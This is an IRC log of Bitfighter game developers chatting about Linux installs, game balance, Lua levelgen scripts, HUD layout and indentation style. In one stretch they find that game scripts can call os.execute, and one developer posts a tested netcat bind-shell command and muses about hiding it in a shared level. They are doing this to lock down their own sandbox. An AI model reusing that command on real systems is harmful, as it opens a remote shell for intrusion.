#bitfighter IRC Log

Index Search ←Prev date Next date→

IRC Log for 2013-04-04

Timestamps are in GMT/BST.

00:00:08Watusimotoon how to line them up a little more
00:00:30WatusimotoI've reverted to stacked, so that will be my starting point
00:01:17raptorok
00:01:22raptorhave a good night!
00:02:55Watusimotonight all
00:10:39Watusimoto Quit (Ping timeout: 264 seconds)
00:14:24SolumnMushroom has joined
00:14:56SolumnMushroomopenSUSE seems to be installing perfectly!
00:15:57SolumnMushroomAside from some minor server hang times
00:17:15raptorSolumnMushroom: hooray! (it's my favorite distro)
00:17:31raptorhave to head home! back later
00:17:39raptor Quit ()
00:17:40SolumnMushroomIt's the only distro that will install on my iBook G4
00:19:00fordcarsheh, nice you made it work!
00:19:45SolumnMushroomYup. It's downloading 1.97 GB of data though. I'm using the netinstaller
00:20:40SolumnMushroomDidn't have enough time yesterday for the full download
00:26:10koda Quit (Quit: k thx bai)
00:26:37SolumnMushroomIt'll only be another 724 packages...
00:27:12SolumnMushroom checks kaen for a pulse...
00:27:46SolumnMushroomI love the "/me" command
00:29:29SolumnMushroom has left the building... JK
00:30:41SolumnMushroom Quit (Quit: Leaving)
00:55:57fordcars me too
01:18:42raptor has joined
01:18:43ChanServ sets mode +o raptor
01:32:59raptor Quit ()
02:00:50Platskies has joined
02:27:09raptor has joined
02:27:09ChanServ sets mode +o raptor
02:33:26fordcarshi
02:36:19fordcarslater guys, I have to go
02:38:01kaenhi byte
02:38:05kaenbye*
02:40:32fordcars Quit (Ping timeout: 245 seconds)
03:11:51raptorkaen: so with fordcars new bot - my immediate thought was to log all BBB chat with a general levelgen script :)
03:17:06fordcars has joined
03:17:56fordcarsnice idea, raptor! Would be neat
03:26:16Little_Apple has joined
03:27:09Little_Applehello
03:27:58raptoryou want this one: https://bitfighter.googlecode.com/hg-history/0d511788f129914d636cb66af30e199a7f1554da/resource/robots/s_bot.bot
03:28:48Little_Appleok thanks
03:31:44Platskies Quit (Remote host closed the connection)
03:43:45fordcarsarghhhhh
03:46:05Little_Appleok done updating server
03:46:20fordcarswhy isn't this working :( if (listenArg ~= nil) and (playing == false) and (listenArg == player) then
03:46:31fordcarsso simple, whyyy
03:47:23raptorfordcars: it has to match all three or it will fail
03:50:46fordcarsyeah, I know that, raptor
03:50:49fordcars:P
03:51:16fordcarsit's just not working, maybe I have weird variables set up before
03:59:04Little_Apple Quit (Quit: Page closed)
04:06:30fordcarsargh I checked all the variables 15 times and it should work!
04:09:52fordcarsAHHHHHHHHHH of course! Sorry, forgot to write getname() somewhere
04:53:45fordcarslater guys, going to bed
04:53:50fordcarsnight
04:53:55kaennight
04:58:02fordcars Quit (Ping timeout: 245 seconds)
05:08:48spicey has joined
05:08:59spicey Quit (Client Quit)
05:11:30raptorspicey!
05:11:59kaenthat's my girlfriend's nickname...
05:12:08kaenbecause her last name is spicer
05:12:28raptorwhat that a suprise appearance from her, then? :)
05:12:33raptor*surprise
05:12:58kaenumm.... it might actually be
05:13:03kaenlet me see what she's doing
05:13:48kaenrofl it totally was
05:13:55raptorhaha cool!
05:14:08kaenwe were just talking about how bitfighter is better than hemp tycoon
05:14:15kaenI guess I made a cogent argument.
05:14:32raptori've never even heard of that..
05:14:38kaenfarmville clone
05:14:41kaenbut you grow reefer
05:14:48kaenbrb I have to teach her how to move...
05:14:51raptorheh
05:41:46kaenthat went well
05:41:54kaenshe didn't realize the blue guys are real people
05:42:16kaenand then when I told her it was me she got mad
05:42:48raptorha
05:42:55kaenbut she likes playing with the logitech gamepad I have, so maybe she'll play in the BBB
05:43:09raptorgreat!
05:43:15kaenfor some reason she likes the fact that I'm super into programming this obscure space game
05:43:29kaenbut raptor, I just played my first game of bitfighter with sound and everything
05:43:33raptoryeah i think it's cool :)
05:43:38raptoroh really?
05:43:40kaenand imo the sounds are really, really, tacky
05:43:42raptorhaha
05:43:51kaenlike, I like the chiptune aesthetic, but we could do better
05:43:59raptorthe zap sound starts to where on you...
05:44:03raptor*wear
05:44:07raptorman, getting late
05:44:10kaenI have some digital synths and I'm pretty good with them
05:44:13raptoreven with music?
05:44:14kaenI'll see what I can cook up
05:44:17kaenyeah.
05:44:23raptorwhat do you think of the music?
05:44:31kaenI actually like the music a lot
05:44:38raptorI think we can do better - but it's a pretty good start
05:44:44raptorsome of the tracks are really good
05:44:54kaengranted I only heard the music for like five minutes
05:45:04raptorthere's more!
05:45:17kaenI'll have to check it out next time she's not on her laptop
05:45:23raptorhaha
05:50:49raptorkaen: do you know if the GlobalLevelScript INI option is run on each level even if you supply a levelgen?
05:51:28kaenno idea
05:51:32raptorbecause, if so... we could have realtime chat log of games! (using a modified fordcars' bflogbot) :)
05:51:33kaenlet me know what you find out :)
05:51:51kaenI've been wondering about all the uses it could have
05:52:09kaenif the lua api were a bit fuller it could be used for tournament organization
05:52:33raptoryeah, like triggering a DBUS call to send an IM message to all your buddies that raptor has just killed you :)
05:52:38kaenhehe
05:53:52kaenmy guess is that it's run on each level load. I can't imagine the lua states are stable in between games.
05:54:24raptorhmm... I'll have to test
05:54:31raptor(after homework)
06:01:31bobdaduck has joined
06:06:34bobdaduckGoodmorning!
06:06:38raptorhi
06:06:40kaenhi
06:11:27raptorwhat's funny is I'm now working with phasors in my class
06:12:29bobdaduckphasor druid
06:14:44raptorforever spinning
06:30:39raptorso double repair rate for Core?
06:32:58kaenI think it just needs to be balanced against DPS
06:33:08kaenfor core repairs at least
06:33:43bobdaduckNo, just add double-tap burst repair option.
06:33:57kaenspecifically, an offender can attain his objective *and* engage in combat
06:34:05kaena repairing defender can do only one
06:34:30kaeneffectively, at least
06:36:00kaendouble tap repair would be even less effective than normal repair over an interval of more than like two seconds.
06:36:52bobdaduckwhat?
06:36:53kaenunless you gave it the same repair/energy ratio
06:36:58kaenwhat what?
06:37:00bobdaduckThat's what I was thinking
06:37:56kaenseems like an over buff
06:38:17kaensuddenly repair/phaser is a god tier combat loadout
06:38:23kaenespecially if you have shield too
06:38:41kaenwhen things get bad just double repair and you can still fire phasers
06:39:22kaenmeanwhile your shield/boost opponent has been gasping for energy since the engagement started
06:40:17bobdaduckno because
06:40:27bobdaduckDouble tap repair would leave you with no energy at all
06:41:13kaenyou can still fire phasers with no energy...
06:41:55kaenand you'd have full health and your shield and your repair your opponent flees
06:42:04kaenyour repair if*
06:42:56bobdaduckYou have no shield, just full health. That's six hits. Your opponent has full health and shield...
06:42:59raptorfinally finished..
06:43:13kaennot if you've been in an engagement and you are equally skilled
06:43:13bobdaduckI don't see how this is even a viable idea
06:43:22kaenI don't see how you don't see it
06:43:39raptori don't see?
06:44:14kaenshield/boost meets shield/repair with full energy and full health. normal shield/phaser combat proceeds
06:44:24kaenas the repair guy falls to critical he double taps
06:44:38raptorah, i get it
06:44:38kaenregains some excessive amount of health
06:44:58kaennow your opponent (who has likely been boosting to outmaneuver you) is energy drained
06:45:18kaenhis modules both useless and he's approximately as deprived of health as you were before you double tapped
06:45:41kaenparibus ceteris, repair wins that engagement
06:45:51raptorsomething better than shield!
06:46:04kaenuh
06:46:09kaenit would be repair + shield
06:46:12raptorheh
06:46:24raptoryes, one of my favorite combos anyways..
06:46:57bobdaduckUh
06:47:07bobdaduckit would be proportional to how much energy you have, same as boost.
06:47:17bobdaduckIf you only have a little bit of energy, you only gain a little bit of health.
06:48:13kaenso it amplifies the energy gap that repair/shield would generally have when meeting boost/shield
06:48:27bobdaduck...what even
06:49:08kaenman it must really be late over there...
06:49:37raptor12:50... getting hazey
06:51:30bobdaduckamplifies the energy gap what.
06:51:31bobdaduckLike what.
06:51:47raptori declare us too mentally incapacitated to argue
06:52:37bobdaduckxD
06:52:46kaenI'd say that's true of me too
06:52:55kaenit'd be more productive to continue in the morning
06:52:59kaennight, gentlemen.
06:53:02bobdaducknight
06:53:04raptorhuh
06:53:06raptorwait
06:53:14raptortest succeeded!
06:53:26raptorlogger.levelgen will start on every level to log conversations
06:53:46raptoras the GlobalLevelScript
06:53:57raptorand a normal levelgen script will still run
06:54:40bobdaduckcool!
06:55:20raptorwe could use it in a BBB
06:55:40raptorto capture all the.. umm.. intelligent conversation that goes on
06:58:41bobdaducklol
07:08:25raptorbobdaduck: still up?
07:08:36bobdaduckI've evolved past the need for sleep
07:08:42raptorUsing the GlobalLevelScript INI option would be a great way to 'moderate' so to speak on a server
07:09:08raptorsince it gets run with every level, it's like adding server-wide options
07:09:26raptoryou could always auto-respond to a player
07:09:33bobdaduckThat's pretty cool
07:09:39bobdaduckThat's something that actually exists?
07:09:40raptoror do message-based actions in any level
07:09:43raptoryes!
07:09:45raptori just found it!
07:10:02raptorcreate a file like: masterscript.levelgen
07:10:22raptorput it in your levels folder, then in your INI add it to the section like so: GlobalLevelScript=masterscript
07:11:27bobdaduckYOU SHOULD NOT HAVE TOLD ME THIS.
07:11:48raptorbut it's so cool!
07:11:53bobdaducklol
07:11:54bobdaduckYeah
07:11:59bobdaduckI'll mess with it lots.
07:12:12raptoryou could kill Lamp any time he does an emoticon :|
07:12:23raptorthe possibilities..
07:12:28raptoron ANY LEVEL
07:14:41bobdaduckIKR
07:14:43bobdaduckxD
07:24:41bobdaduck Quit (Remote host closed the connection)
07:39:00raptorgood night BFLogBot
07:39:03raptor Quit ()
07:57:14watusimoto has joined
07:57:15ChanServ sets mode +o watusimoto
08:05:45LordDVG has joined
08:28:44Platskies has joined
08:33:07Platskies Quit (Ping timeout: 245 seconds)
08:56:57Platskies has joined
09:17:25koda has joined
09:20:59LordDVG Quit (Remote host closed the connection)
09:25:34Platskies Quit (Remote host closed the connection)
12:00:01Watusimoto_ has joined
13:24:08Watusimoto_ Quit (Ping timeout: 255 seconds)
14:41:05kaen Quit (Ping timeout: 255 seconds)
16:07:43raptor has joined
16:07:43ChanServ sets mode +o raptor
16:31:00kaen has joined
16:36:37raptorwatusimoto: I give you logger.levelgen!: http://pastie.org/7316412
16:38:10watusimotowunderbar!
16:38:41raptorIt might be fun to use it at the next BBB
16:40:14watusimotomaybe... though I have some doubt about how interesting the contents would be
16:40:30raptorI completely agree
16:40:31watusimotowe could make game stats available to the scripts for local logging
16:40:51raptorit was mostly an experiment on whether you could have a global script *and* a normal levelgen script
16:40:55watusimotowe collect them anyway to send to the master, no?
16:41:09watusimotowe could have an onGameOver event
16:41:37watusimotowell, I am in full support of experimentation
16:41:42raptoryeah
16:41:46watusimotoespecially successful experimentation
16:41:51watusimoto:-)
16:43:02raptorI wonder if I should release it on the forums...
16:43:13raptornot many people know about the global script option
16:43:34raptorit could be used to give more power to the admin
16:43:43raptorlike use onMsgReceived
16:43:54raptormake sure it's from you, and kill a designated player
16:45:05watusimotoummm... I'm not sure I know about the global script option
16:45:17raptoryeah - i just discovered it yesterday
16:45:24watusimotoa sam thing?
16:45:26raptorin the INI: GlobalLevelScript=
16:45:30raptormust be
16:45:39raptorbut it gets run on *every* level
16:45:43watusimotomakes sense
16:45:53raptorin addition to any bots or specific level-based script
16:46:16raptorsam686 disappears, but he really doesn't...
16:46:17watusimotowe should make that handle multiple scripts
16:46:24watusimotohis ghost lingers
16:47:22watusimotowell, great; glad the experiment worked. I designed it to handle multiple scripts, but never actually tried it
16:47:36raptoryeah, works like a charm
16:49:31raptorI made the mistake of telling bobdaduck of what I was up to last night... I'm sure he'll come up with some trolling global admin script
16:49:32kaenum guys
16:49:39raptorhi kaen
16:49:40kaenwhy do we expose the lua standard lib?
16:49:47kaenincluding os.execute?
16:50:10raptoroh yeah - that was my last thought last night - 'this seems prone to catastrophe'
16:50:15kaenI think we should include all of it but io and os
16:50:20kaenthe rest are fairly harmless
16:50:30kaenoh god
16:50:33kaenos.remove
16:50:34kaenos.rename
16:50:35raptoryep
16:50:55raptorsomeone could distribute an AWESOME!!11 script and have it remove your home directory
16:51:19kaenmy guess is that we call luaL_openlibs
16:51:31kaenwe should just call luaopen_string, luaopen_package, etc
16:51:48raptorI have no idea how the system works, nor how to lock it down except for a few things..
16:52:00kaenI just read the docs. it's really straightforward
16:53:09kaenI think fordcars found the only legitimate use of exposing io. and I think that should actually just be a log option.
16:53:56kaenI remember, too that he was trying to import a socket library. a more technical and deviously motivated scripter could probably accomplish this
16:53:59watusimotowhy do we expose them?
16:54:03watusimotowe used to not expose them
16:54:05kaenI have no clue
16:54:12kaenbut they're there nonetheless.
16:54:40kaenluascriptrunner:397
16:55:11watusimotowe do call openlibs, but at one point in the past we explicitly overwrote os and maybe part of debug to make them inaccessible
16:55:11kaenif we replace that call with individual load calls for the harmless packages (things like string could actually be useful) then we should be good
16:55:37kaenthere's no need for that because lua has an interface for cherry picking which modules we expose
16:55:52watusimotoI *think* that is going away in 5.2
16:56:50kaenstill in the 5.2 manual
16:57:44kaenhttp://www.lua.org/manual/5.2/manual.html#6
16:57:46watusimotowell, this pretty much details what's safe and what's not
16:57:47watusimotohttp://lua-users.org/wiki/SandBoxes
16:58:40watusimotoit's not quite as straightforward as saying os is dangerous, other stuff is safe
16:59:22Darrel has joined
16:59:29watusimotothough I am not worried about dos via endless loops or the stuff that lets you see implemetnations
16:59:41kaentrue, but os, io, and coroutine are definitely not safe.
16:59:52raptoroh the power!
17:00:02kaenand lua scripts in bitfighter certainly have no legitimate uses for them.
17:00:03watusimotoos.clock is safe :-)
17:00:27watusimotoraptor just wrote a script that uses io!
17:00:58watusimotobut os is definitely bad news
17:01:01kaento implement a missing feature of the logging capability
17:02:09kaenit would be tricky if we had some lua scripts that do need these things, but since all scripts are strictly for gamestate manipulation we really don't need to expose the dangerous modules.
17:02:19watusimotoI agree
17:02:42koda Quit (Ping timeout: 245 seconds)
17:02:49watusimotoand if there is a need for something, we can provide a local implementaiton of it
17:02:51kaenand I honestly don't want to see what quartz would do with io access on kaen test...
17:03:01watusimoto:-)
17:03:14watusimotosomething unsafe
17:03:31watusimotoI'll put it on the todo list
17:03:59raptorok, i don't mind my script getting killed in the name of not-wiping-out-the-filesystem
17:05:03kaenthat's not even the most devious thing I can think of.
17:05:19kaenspawn a coroutine to open a sh shell taking input from netcat...
17:05:24kaenetc.
17:05:52kaenespecially on a server with lax firewalls and a known IP
17:06:06kaenyou could even make netcat outbound and just have the server connect to you
17:06:12kaenman I'm worrying myself too much
17:06:26watusimotoparanoia is healthy
17:07:06watusimotoraptor: your script could write stuff to the game log for later filtering
17:07:17raptorsay waht?
17:07:52watusimotoyour script could log chat messages to bitgifhter.log, and you could later pass that through grep to recover the data
17:08:11raptorah
17:08:17raptoryes, I suppose it could..
17:08:20watusimotoor we could allow scripts to open a fixed number of other log files
17:08:28watusimotoor something
17:08:37watusimotook, gotta run
17:08:39raptorsandbox to a specific subdirectory?
17:08:39kaencould expose a log object with a .writeln method
17:08:45raptorok
17:08:47raptorlater
17:08:51kaenI'm thinking that's best.
17:08:53kaencya wat
17:09:19watusimotoa specific directory might make sense
17:11:51raptorio to scripts/sandbox
17:11:58raptorand go crazy!
17:13:56watusimoto Quit (Ping timeout: 252 seconds)
17:40:54kaen Quit (Read error: Connection reset by peer)
17:42:36kaen has joined
17:42:47kaenos.execute('bash -c \'mkfifo ~/inp; nc -l 2000 < <(bash <~/inp 2>&1) >~/inp & \'')
17:42:53kaenspawns a remote shell on port 2000
17:43:09kaendoesn't even block
17:43:09raptorha!
17:43:13kaenjust tested on kaen test.
17:43:21raptornetcat is a lovely tool
17:43:42kaenthey don't call it the network swiss army knife for nothing
17:45:50kaenit would not be the least bit difficult to obfuscate that in a string as a tiny, harmless, indecipherable line in KAENS AWESOMEST DUNGEON LEVELGEN
17:47:40raptorgood thing we're too small to show up on mitre.org...
17:48:06kaenlmao
17:49:14raptorerr... the CVE part
17:49:38raptorhttp://cve.mitre.org/ <-- that one
17:52:13kaenright
17:52:34kaenI was looking for equivalent windows code; it seems that MS is more secure in this regard
17:52:59kaenbut if telnet services have been enabled you can do the equivalent with telnet and cmd
17:54:19raptorand now with level uploading, then downloading... it's never been easier!
17:54:29kaen\o/
17:54:53kaenbitfighter -- the ultimate DL&E warez
17:55:34raptorhaha
17:55:53raptorI almost don't want the game to be famous now...
17:56:04kaenyeah...
17:56:41kaenthere are probably many more exploits hiding within it.
17:56:57kaensince we have evidence of memory corruption bugs
17:57:11kaenwhich smeck of buffer overruns
17:57:51kaengood thing we have a resourceful white-hat at our disposal :)
17:58:10raptorha!
17:58:29raptorI don't know if you'd remember this, but there used to be some IM software called 'ICQ'
17:58:33kaenyep
17:58:35raptorlate 90s, early 2000s
17:58:40raptorit so popular so quickly
17:58:42raptor*it got
17:59:33raptorexploits were found in no time, and everyone could start doing crazy things to other people in their contact lists
17:59:50kaenI just typed in "icq exploits"
17:59:58kaenbuffer overruns when posting urls...
18:00:00kaengood god.
18:00:06raptorremote crashing windows 98? there were a dozen different ways
18:00:08Watusimoto has joined
18:00:41raptoroh yeah, i remember that - simple URLs would let you hijack
18:00:54raptorit was insane
18:01:03raptoranyways, it was quickly taken over by AIM
18:01:23raptorwhich I think had a little bit more security in mind
18:01:28raptorbefore the bloat
18:02:29kaenWatusimoto, didja see my bindshell code?
18:02:32kaenos.execute('bash -c \'mkfifo ~/inp; nc -l 2000 < <(bash <~/inp 2>&1) >~/inp & \'')
18:02:47Watusimotohi
18:02:50kaenhello
18:03:04Watusimotowait, is this a lua exploit?
18:03:08kaenyeah
18:03:11Watusimotooh boy
18:03:14kaencreates a remote shell on port 2000
18:03:17raptorone of the first really neat ones!
18:03:18kaenworks great on kaen test
18:03:23Watusimotoha!
18:03:39Watusimotoget quartz to run it on his machine and get some payback!
18:03:57kaenI was looking for a windows version...
18:04:06kaenbut anyway I'm not a malicious guy
18:04:08Watusimotowindows is too safe :-)
18:04:16kaenin this regard it truly is
18:04:21kaenunless you've enabled telnet
18:04:22raptor^^ because of lack of features
18:04:22Watusimotosadly
18:04:26Watusimotoyes
18:05:03kaenbut I mean there are known local privilege escalation exploits. I'm just not that good of a security guy.
18:05:41raptorlinux kernel local-privilege escalation exploits sell for $100,000s
18:06:20raptor(usually to western governments, I hear)
18:09:41WatusimotoI wonder how much we could get for a bitfighter exploit
18:09:55raptorinteresting... I'll sell you one for $20!
18:10:01Watusimoto$15!
18:10:12raptortater tots!
18:11:46raptorI wonder if we could render commander's map without overlayed HUD to a back buffer, then take screenshot and be done
18:12:00raptor(for kaen's level database screen shots)
18:15:56Watusimotothat would be good
18:17:34raptorand would it be useful to render to svg?
18:17:38raptor*output
18:17:56raptorthere was that opengl to svg library I implemented once
18:18:27raptoralthough, maybe it'd be more useful to build our own Level code -> svg parser anyways, instead of having to go through the game
18:38:02Watusimotoignore the flags... here;s the latest display. dinner time. back later
18:38:04Watusimotohttp://img839.imageshack.us/img839/7640/screenshot39u.png
18:39:38raptorhmmm
18:39:46raptortime looks really big
18:42:29Watusimoto Quit (Ping timeout: 252 seconds)
18:49:49kaenthe time is godo
18:49:50kaengood
18:49:54kaenthe lines are redundant though
18:50:31kaenthe whitespace will act as a separator if you remove them since you've differentiated the color/size/font of the different info
18:51:20kaenmaybe I should re-enable join/part messages in my client...
18:51:39raptorheh
18:51:55kaenit's just that I hate join/part spam
18:51:58raptori suggested the lines yesterday to allow easy separation in the brain
18:52:10kaenthe colors and font size do that already
18:52:31kaenthe lines are just visual noise and another thing to parse when you look at the display
18:52:42raptoryou think they do it enough? the white time, flag poles, and team score mess it up a bit for me
18:53:03kaenI think the scores being the same color as the time is a bad call
18:53:17raptoryeah, maybe a change there would really help
18:54:45kaena graphic design is complete not when there's nothing more to add, but when there's nothing more to remove :)
18:54:57raptorI like that!
18:55:12kaenI wish I could take credit for it :P
18:55:25kaenI've read it in probably a dozen different visual design books
18:57:32kaen"A designer knows he has achieved perfection not when there is nothing left to add, but when there is nothing left to take away." -- Antoine de Saint-Exupery
19:05:33raptorI wonder if that shouldn't be applied to coding, too... (I'm currently debugging a monster Java application with too many abstracted layers..)
19:36:54kaenI apply it to code vigorously
19:37:16kaenall design is fundamentally the same imo
19:37:35kaenfind the least complicated solution to satisfactorily solve a given problem
19:37:55kaenvisually, programatically, architecturally
19:37:59kaenwhatever it might be
19:44:04Watusimoto has joined
19:47:29kaen mUIManager = new UIManager(this); // Gets deleted in destructor
19:47:51kaenis there a reason that stuff like this isn't declared as the full type rather than a pointer?
19:48:24raptorlazy load
19:48:28kaensince it's instantiated in the constructor and deleted in the destructor of its owner it seems like a composite member
19:48:39kaenhow is that lazy?
19:48:54raptoroh, the manager
19:48:58raptorhmmm
19:49:03raptornot sure...
19:49:18WatusimotoIt's that way for one of two reasons
19:49:24Watusimoto1) hisory
19:49:31Watusimotothat would be history
19:49:49Watusimoto2) I wanted to pass something into the constructor
19:49:50raptorhehe
19:50:17raptorI don't understand #2 as a reason..
19:50:25Watusimotothe uiManager is relatively new, but I think it had a different design when I first created it
19:50:49kaenmUIManager(this) doesn't work?
19:50:58kaenin the initializer list?
19:51:30WatusimotoI don;t think you can use this in the initializer list, can you?
19:51:33kaenyep
19:51:36Watusimotobecause is this fully formed?
19:51:42kaenonly exception is if ... exactly
19:51:53kaenif UIManager is accessing an unitialized manager then no
19:52:00kaenuninitialized*
19:52:22Watusimotobut does this exist in the initialization list?
19:52:26kaenyes
19:53:26kaenhonestly that's a small fish compared to what we should be focusing on
19:53:32kaenI was just curious to know about it.
19:54:14Watusimotohttp://stackoverflow.com/questions/5058349/is-it-safe-to-use-the-this-pointer-in-an-initialization-list
19:54:38Watusimotowell, perhaps the reason is I thought you coldn't do it :-)
19:55:21Watusimotofeel free to change it if you like
19:55:48kaensure. probably around the time that I abstract the rendering layer and implement full coverage unit testing :P
19:56:11kaen(joking)
19:56:28Watusimotorats
19:56:54bobdaduck has joined
19:57:15raptorrats
19:57:38bobdaduckmorning peepz
19:58:27raptorhello
19:59:39bobdaduckSo my idea for global levelgen script
19:59:52bobdaduckis to basically every so often take a random player and set their velocity to zero
19:59:54bobdaduckto simulate lag
20:00:13raptorI knew something like this was going to happen..
20:00:27bobdaduckxD
20:00:35bobdaduckI am probably not going to do that
20:00:40bobdaduckIt sounds boring.
20:00:46raptorour running bug list is becoming unruly
20:01:10raptorI still say you should randomly teleport Lamp everytime he uses a: :|
20:01:12bobdaduckUnruly, is it?
20:01:14bobdaduckxD
20:13:09bobdaduckI take it back
20:13:12bobdaduckI'm doing it
20:13:18bobdaducknot as my global levelgen script though.
20:14:35raptorargh the bot crashing bug..
20:14:35bobdaduckBecause remember in Quartz' head in the clouds level he wanted a script to like, mess people up when they get into the middle?
20:14:54raptornot sure i remember that one..
20:15:50bobdaduckit was slightly asymetrical, with angels and demons and hold the flag
20:16:25raptordid it have the jail-like lineitem graphic in the middle?
20:16:32bobdaduckyeah that one.
20:16:41bobdaduckHe wanted ships to occasionally like, get stuck in the middle there
20:16:55bobdaducka fake-lag script would work great there
20:19:10bobdaduckSo tell me, why do you guys use spaces instead of tabs?
20:19:15raptordo a zone to trigger a random number from like 1 - 100; if the number is less than 10, stop the ship for a half-second
20:20:36bobdaduckuh
20:21:47bobdaduckWhat I'm doing is when ship enters zone, have a timer(function, math.random(5000)) and just keep doing that until the ship leaves the zone
20:22:24raptorha
20:23:04raptorspaces vs tabs is a long issue
20:23:26raptorsome languages need spaces (python), others don't and it personal preference
20:23:41bobdaduckbecause if you do something long enough you start developing weird prejudices and emotional attachments to things nobody else even knows exist
20:24:07raptorat work coding in Java, I just let the editor auto-tab everything
20:24:20raptorbut with bitfighter, I let the editor auto-3-space everything
20:25:08raptorit was Watusimoto's preference at once point - I think I even remember asking him why (but have since forgotten)
20:25:31raptorsomething like "3 spaces is a perfect indent!"
20:25:43Watusimotoyou can already simulate lag! and it sucks!
20:25:46raptorbut editors let you set tab width so... I don't know..
20:26:39kaenspaces are properly aligned when viewing regardless of editor configuration
20:26:50Watusimotoyou can do python with tabs!
20:27:00kaenbut the number of spaces to use is something of a holy war
20:27:05kaenas is spaces vs. tabs
20:27:22bobdaduckHAH this script is so funny
20:27:23Watusimoto3 spaces was the zap standard
20:27:39kaenit's literally the only code I've ever seen that uses 3
20:27:42WatusimotoI basically followed most of their standards, adding a few things like consistent vertical whitespace between functions
20:27:44kaenbut I'm not complaining.
20:27:58bobdaduckI can simulate lag and it sucks?
20:28:13kaen3 makes multi-line if conditions line up real pretty, too
20:28:14Watusimotokaen: really? I've always used 3 everywhere for everything!
20:28:31Watusimotothough at work I do my js/ruby with 2, and my python with 4
20:28:36Watusimotojust to keep it real
20:28:43kaentwo is my preference
20:29:02raptorI've never seen another project with 3 either
20:29:04Watusimotoit's hard to follow deep nesting with 2, I think
20:29:09kaen4 for python, c and c++, everything else in 2
20:29:16kaenyes I agree
20:29:17raptor2 is the bash programmers way!
20:29:28kaenreally? thought bashers use 8 wide tabs
20:29:36kaenper linux kernel conventions
20:29:59Watusimotobobdaduck: more than you ever wanted to know is here http://en.wikipedia.org/wiki/Indent_style
20:30:02raptorwell that explains why some snippets are so wide...
20:30:34raptorhttp://www.codinghorror.com/blog/2009/04/death-to-the-space-infidels.html
20:31:38raptoroh my goodness: http://compsoc.dur.ac.uk/whitespace/
20:32:32Watusimotobobdaduck: try /lag
20:32:37bobdaducklol
20:32:46bobdaduckSo what my script does
20:32:57kaen"Wherever there are two programmers working on the same project, there are invariably disagreements about how the code should be formatted"
20:32:58bobdaduckis essentially makes it so all ships in a zone are like, moving through water.
20:33:17kaenatwood is like the dalai lama
20:33:33Watusimoto"The only programming project with no disagreement whatsoever on code formatting is the one you work on alone. "
20:33:39bobdaduckraptor you should try this out
20:33:41bobdaduckhttp://pastie.org/7319293
20:33:52Watusimotoand even then that statement isn't always true
20:33:57kaenhehe
20:34:12raptorbobdaduck: WHAT ARE YOU DOING
20:34:17bobdaduckrofl
20:34:17WatusimotoI get in violent arguments with myself about indention and quoting styles
20:34:23Watusimotomy coworkers hate it
20:34:28bobdaduckjust stick a zoneID 1
20:34:33bobdaduckxD
20:34:46raptorbobdaduck: please don't schedule a Timer EVERY tick
20:34:56bobdaduckyeah I know sloppy logic.
20:35:00raptorthat's a recipe for disaster
20:35:01bobdaduckBUT.
20:35:07bobdaduckIt actually works out well.
20:35:07raptorlike game-crashing recipe
20:35:28bobdaduckyes well.
20:35:33bobdaduckI like the effect it gives xD
20:35:48raptorbecause after 1 second, you'll have close to 30 timers all running!
20:35:55bobdaduckYes yes I know
20:36:05bobdaduckI realize its sloppy logic. I SAID IT WAS SLOPPY LOGIC.
20:36:21kaenWatusimoto, remember that resource-limiting feature we were discussing the other day...
20:36:30kaen^ this is why we need it.
20:36:34bobdaduckbut try it. Its a fun effect.
20:37:01raptorthat is why I locked levelgens to every 33 ms
20:37:02Watusimotoha, yes
20:37:25bobdaduckDid you try the script?
20:37:30bobdaduckOr are you still staring at it in horror
20:37:41raptor is still horrified
20:37:53bobdaduck(I just added if(#registeredPlayers > 0) to it)
20:38:14WatusimotoI have to say, that script is going to suck
20:38:32kaenwell, he's calling scheduleOnce
20:38:33bobdaduckI KNOW BUT IT GETS THE JOB DONE WELL.
20:38:45bobdaduckscheduleRepeating
20:38:46bobdaduckontick
20:38:48bobdaducktotes
20:39:03Watusimotothat timer logic will work fine, I think
20:39:12kaenso it's basically just a deferred function call
20:39:15Watusimotoas long as the game isn't more than about 10-20 seconds long
20:39:29bobdaduck is totally now trying to figure out a situation where schedulerepeating ontick is a good idea
20:39:38Watusimotoit isn't
20:39:53Watusimotothis script shouldn't even have a ontick event
20:40:13Watusimotoset the timer in main, and when it goes off, call a function that sets the timer again
20:40:18kaenyeah, you could call schedule once and have the callback reschedule itself
20:40:25kaengood idea as always, wat :)
20:40:26raptoryes
20:40:35raptorok, ran it - interesting
20:40:42raptorlike riding a bike through sand
20:40:43Watusimotoexactement!
20:40:54raptoror sand-gravel
20:41:07Watusimotolike swimming through honey
20:41:25bobdaduckAnd I think that's totally what Quartz wants
20:41:30bobdaduckin the little zone in the center
20:41:47kaenhuh I didn't know about the # syntax
20:41:51kaenthat's nuts.
20:42:17raptorYay for Lua idiosyncracies
20:42:20bobdaducklol
20:44:36bobdaduckFun script.
20:45:32WatusimotoI just cannot make that display look right!!!!
20:45:33Watusimotohttp://img713.imageshack.us/img713/5827/screenshot40r.png
20:45:56raptorWatusimoto: kaen's suggestion is to drop the lines, but play with the colors
20:46:06WatusimotoI think the screenshot I posted before dinner (http://img839.imageshack.us/img839/7640/screenshot39u.png) had the time too big
20:46:16raptorso don't make the scores the same color as the time, etc.
20:46:26Watusimotoignore the scores
20:46:36WatusimotoI'm looking only at the clock, the game type, and the winning score
20:46:57WatusimotoI want to get that right before futzing with the rest
20:47:05raptormaybe just the middle separation line?
20:47:17kaenthe scores are a part of that visual block. in my experience you should balance them all at once.
20:47:35raptorand rely on different score colors/sizes to make it easy to absorb
20:47:41Watusimotothere is some merit to that statement
20:48:03kaenI also really liked the mode on top of the winning score
20:48:14kaenwhen it was made to have the same total height as the timer
20:48:23WatusimotoI'm coming back to that as well after seeing my most recent posting
20:48:33kaenI'm also of the opinion that you don't need the lines at all
20:48:37bobdaduckWhat about just removing the horizontal line?
20:48:39raptorI like it too, but the time still looks really big
20:48:41Watusimotoso the http://img713.imageshack.us/img713/5827/screenshot40r.png block
20:48:52Watusimotothe horizongal line is what makes the right-alignment work
20:48:53raptorsize should be given to most important, right?
20:49:09kaendefinitely.
20:49:11Watusimotobiggest = most important, yes
20:49:19Watusimotoand that is time
20:49:50kaenwait, the line is functionally needed to align the display?
20:49:58Watusimotono
20:49:59kaenoh
20:50:09Watusimotobut it compensates for the fact that the time changes width every second
20:50:20Watusimotoand we don;t want to realign every second
20:50:28Watusimotoso the line gives you some width-stability
20:50:45Watusimotogives you something to visually align to
20:51:27Watusimotook, I'll develop more on the big time, stacked mode design
20:51:36kaenwell, we've got a lot of cooks in this little kitchen so I'll leave you to it :)
20:52:06Watusimotomore like a reluctant short order cook and his prison buddy
